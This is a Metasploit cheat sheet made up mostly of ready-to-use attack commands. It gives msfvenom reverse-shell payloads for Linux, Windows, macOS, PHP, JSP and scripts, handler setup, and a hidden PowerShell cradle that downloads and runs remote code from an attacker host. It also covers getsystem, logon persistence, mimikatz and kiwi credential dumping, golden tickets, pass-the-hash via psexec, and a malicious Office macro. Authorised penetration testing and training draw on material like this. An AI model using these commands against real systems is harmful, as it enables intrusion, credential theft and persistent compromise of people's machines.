Metasploit

Summary

Installation

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

or docker

sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

Sessions

CTRL+Z   -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter

sessions -c cmd           -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions

Background handler

ExitOnSession : the handler will not exit if the meterpreter dies.

screen -dRR
sudo msfconsole

use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false

generate -o /tmp/meterpreter.exe -f exe
to_handler

[ctrl+a] + [d]

Meterpreter - Basic

Generate a meterpreter

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl

Meterpreter Webdelivery

Set up a Powershell web delivery listening on port 8080.

use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run

powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');

Get System

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Persistence Startup

OPTIONS:

-A        Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
-P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
-S        Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt>  Alternate executable template to use
-U        Automatically start the agent when the User logs on
-X        Automatically start the agent when the system boots
-h        This help menu
-i <opt>  The interval in seconds between each connection attempt
-p <opt>  The port on which the system running Metasploit is listening
-r <opt>  The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -U -p 4242

Network Monitoring

# list interfaces
run packetrecorder -li

# record interface n°1
run packetrecorder -i 1

Portforward

portfwd add -l 7777 -r 172.17.0.2 -p 3006

Upload / Download

upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim

Execute from Memory

execute -H -i -c -m -d calc.exe -f /root/wce.exe -a  -w

Mimikatz

load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full

load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>

Pass the Hash - PSExec

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain             WORKGROUP                                                          no        The Windows domain to use for authentication
SMBPass               598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf  no        The password for the specified username
SMBUser               Lambda                                                             no        The username to authenticate as

Use SOCKS Proxy

setg Proxies socks4:127.0.0.1:1080

Scripting Metasploit

Using a .rc file, write the commands to execute, then run msfconsole -r ./file.rc. Here is a simple example to script the deployment of a handler an create an Office doc with macro.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z


use exploit/multi/fileformat/office_word_macro 
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit

Multiple transports

msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe

Then, in AddTransports.ps1

Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30

Best of - Exploits

  • MS17-10 Eternal Blue - exploit/windows/smb/ms17_010_eternalblue
  • MS08_67 - exploit/windows/smb/ms08_067_netapi

References